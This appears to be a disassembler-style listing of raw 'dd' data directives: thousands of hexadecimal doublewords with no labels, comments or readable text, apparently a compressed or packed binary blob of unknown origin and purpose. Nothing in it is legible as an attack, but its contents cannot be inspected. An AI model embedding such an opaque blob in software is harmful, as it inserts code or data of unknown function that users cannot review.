		dd 9880E10Fh, 0F94594h,	15086EEBh, 81C49610h, 67D38600h
		dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
		dd 3E7DF03Bh, 0FA4178h,	0B838147Fh, 48A08203h, 0D4287528h
		dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh,	60DC68C2h
		dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h,	0B897304Ah
		dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h,	0C8460048h
		dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
		dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
		dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
		dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
		dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
		dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah,	4E47C14Bh
		dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
		dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h,	36C85E8h
		dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
		dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh,	3E73E700h
		dd 1B094892h, 0D67B16h,	0BEB5205Fh, 6F67699Dh, 2F652500h
		dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
		dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
		dd 1174A03Dh, 0B239CBh,	0EB057D0Bh, 0FF35EFAAh,	4831B800h
		dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h,	0D88831FFh
		dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
		dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
		dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h,	0FC7B0A00h
		dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
		dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
		dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h,	0BC59C0BEh
		dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
		dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
		dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
		dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
		dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch,	0D37330h
		dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
		dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
		dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h,	0E0C7007Ch
		dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
		dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
		dd 6307C2F0h, 6240F8Bh,	0C5D404BAh, 0DABF3000h,	8DFB0228h
		dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
		dd 0CAC0237Ch, 25F74Ch,	0F64C9B90h, 0B00507h, 0AFECE901h
		dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
		dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
		dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
		dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h,	0AB770029h
		dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h,	0C300DF29h
		dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
		dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h,	0AE8E2ADh
		dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
		dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
		dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
		dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
		dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
		dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
		dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
		dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
		dd 45491926h, 1602546h,	4CBAC38Ch, 0DCB49535h, 0F7F420F8h
		dd 4301200h, 16344828h,	1F722Ch, 93FC4978h, 9A2F58A0h
		dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh,	3B46F200h
		dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
		dd 86260E8h, 5AC07473h,	0FA9DD29h, 0D5800714h, 0A0240BC9h
		dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
		dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
		dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
		dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
		dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h,	0BF1C4412h
		dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h,	5E079849h
		dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h,	0B100EA42h
		dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
		dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
		dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h,	681574C5h
		dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h,	0AFB13B25h
		dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
		dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h,	2E03117h
		dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh,	75027600h
		dd 24B82Fh, 0FA4CFD63h,	930447B5h, 27F22000h, 21AF7819h
		dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
		dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h,	1D08F9D7h
		dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
		dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh,	0EF560441h
		dd 7102C7Fh, 6032C824h
		dd 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh,	22C81FBDh
		dd 15E2E100h, 2CF0CC2h,	4409F806h, 0D7C0086Ch, 313F744Ch
		dd 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h
		dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
		dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh,	0C81EF9C7h
		dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h,	0DC109400h
		dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h,	4EEE4B0h
		dd 80EF1B0h, 20118F0Ch,	0A052431Ch, 0E06B25EDh,	64132BFEh
		dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h,	85E36798h
		dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
		dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h,	17CB0F30h
		dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
		dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
		dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
		dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh,	7B5806A0h
		dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh,	3D5ECD5h
		dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
		dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
		dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
		dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
		dd 3E07A01h, 3A96B3DFh,	0EB981307h, 0DA900B0Dh,	1F437329h
		dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
		dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
		dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
		dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
		dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
		dd 0C5812Ah, 5A827999h,	7FAE037Ah, 0CCA24200h, 369D86EEh
		dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
		dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
		dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
		dd 342200A6h, 46A2F82h,	8800A495h, 4178C646h, 91085B8h
		dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
		dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
		dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
		dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
		dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
		dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
		dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
		dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah,	0E987ABF0h
		dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh,	0CB381F28h
		dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
		dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
		dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
		dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh,	3F990h
		dd 52EE5D7h, 5EE2C189h,	527C4Ch, 12414B4h, 348504Ah, 4C425A06h
		dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
		dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
		dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
		dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch,	3600EC0h
		dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h,	6CC00123h
		dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
		dd 3FE03B18h, 3440702h,	7E08008h, 7E0038F8h, 2B6FA81Eh
		dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h,	761451FFh
		dd 311E95h, 0FAE0C183h,	0D82F707Fh, 800CB338h, 146C6BDFh
		dd 0EA9AAC55h, 8BFC40h,	0DD8192C4h, 7245618Ah, 95D5BE00h
		dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
		dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh,	0A08D107Dh
		dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h,	3B51064h
		dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
		dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh,	4DEC7Dh
		dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h,	0E46A1670h
		dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
		dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
		dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
		dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh,	0BDCE17h
		dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
		dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h,	6714C1BEh
		dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
		dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
		dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
		dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
		dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h,	30C485BFh
		dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
		dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
		dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
		dd 0A8F61Eh, 4518E869h,	58C4CB1h, 0CE0D8007h, 40BE408Eh
		dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
		dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
		dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh,	0FB017204h
		dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h,	285138h
		dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h,	99E5F0D8h
		dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
		dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
		dd 710D638h, 8478C337h,	43126CFCh, 7C00CF47h, 0D50D8708h
		dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
		dd 2341B6Ah, 63E90205h,	0BB198C6Eh, 44B0D5C0h, 0F8010803h
		dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
		dd 0E485D3h, 2A4C8A18h,	1F20EA8Dh, 40F608B3h, 420490EFh
		dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh,	0F6E4C1AAh
		dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h,	6122E02Bh
		dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h,	0A0E50045h
		dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
		dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
		dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh,	401FB42Ah
		dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
		dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
		dd 7FF9083h, 1D100518h,	0AD21F088h, 39E024F9h, 46D4D00Fh
		dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh,	0E003D1F1h
		dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
		dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h,	0EE5BCC0Ch
		dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
		dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
		dd 15D01747h
		dd 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h,	0D27E6AE9h
		dd 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h,	65405B59h
		dd 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh,	0F4E4B304h
		dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
		dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
		dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
		dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
		dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
		dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
		dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
		dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
		dd 2E4051E2h, 0F91BF4h,	641545Ah, 7CFD5852h, 0A64ABE05h
		dd 0FAFC3Fh, 11A7B4EBh,	0BBE40B20h, 0FA44D400h,	2DBEA4FEh
		dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
		dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
		dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
		dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h,	0EA832BFAh
		dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h,	3F8A5CD5h
		dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
		dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
		dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
		dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h,	0A304002Ch
		dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
		dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
		dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
		dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
		dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
		dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
		dd 9E6C4027h, 0A54AFFh,	6DB69773h, 481A0D40h, 0B807D800h
		dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch,	58D85380h
		dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
		dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h,	0A0ADFCAh
		dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
		dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
		dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
		dd 386412h, 0FCDA4642h,	0A54C433Dh, 0DF10709h, 0FB17701h
		dd 38EC74C4h, 7C8B020h,	6214230Ch, 1CE5E0BFh, 1EE24EA7h
		dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
		dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
		dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
		dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
		dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
		dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh,	0C48773AEh
		dd 4400040Fh, 8233FDCh,	0FBC8C42h, 78C21259h, 1C941F60h
		dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
		dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
		dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
		dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
		dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
		dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
		dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
		dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
		dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
		dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
		dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
		dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
		dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
		dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
		dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h,	199AABDCh
		dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h,	0A3C0D2E0h
		dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
		dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
		dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
		dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
		dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh,	8301F580h
		dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
		dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh,	19934ADh
		dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
		dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
		dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
		dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
		dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
		dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h,	50A200D2h
		dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
		dd 48C800C3h, 7E525F1h,	4C592D2Eh, 1A24E033h, 0D20031B0h
		dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch,	0AB1E68B8h
		dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h,	4D7CDD2Dh
		dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h,	242F862h
		dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
		dd 7F1D018h, 98E6F601h,	0F03C165Fh, 0FD9D0BC3h,	1F6E4D0Fh
		dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
		dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
		dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h,	353983E4h
		dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
		dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
		dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
		dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
		dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
		dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h,	70933C8h
		dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
		dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
		dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh,	0EB16110Dh
		dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
		dd 6D40703Eh, 7B64253h,	0FCDD6510h, 0CAEB7091h,	69053314h
		dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
		dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
		dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
		dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
		dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
		dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
		dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
		dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h,	0E0EDFCEEh
		dd 0B9071C09h, 5AD09F7Bh
		dd 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh
		dd 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh,	389D8680h
		dd 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh,	7D26E871h
		dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
		dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh,	0DE60EF49h
		dd 137FCA4h, 521B102Ch,	214F9E7Bh, 3C59F812h, 0FC8CE9E7h
		dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
		dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
		dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
		dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
		dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh,	64C49C21h
		dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
		dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
		dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
		dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
		dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
		dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h,	2B7114h
		dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h,	0ED155E0h
		dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h,	0BE8DF32h
		dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h,	7EF34CCCh
		dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh,	88A91DD2h
		dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
		dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h,	0A43C30h
		dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h,	0F2570089h
		dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
		dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh,	70282E81h
		dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
		dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
		dd 7536EDE0h, 3890F00h,	41AEC383h, 67F93D8Fh, 0F81FEB85h
		dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
		dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h,	184EC636h
		dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
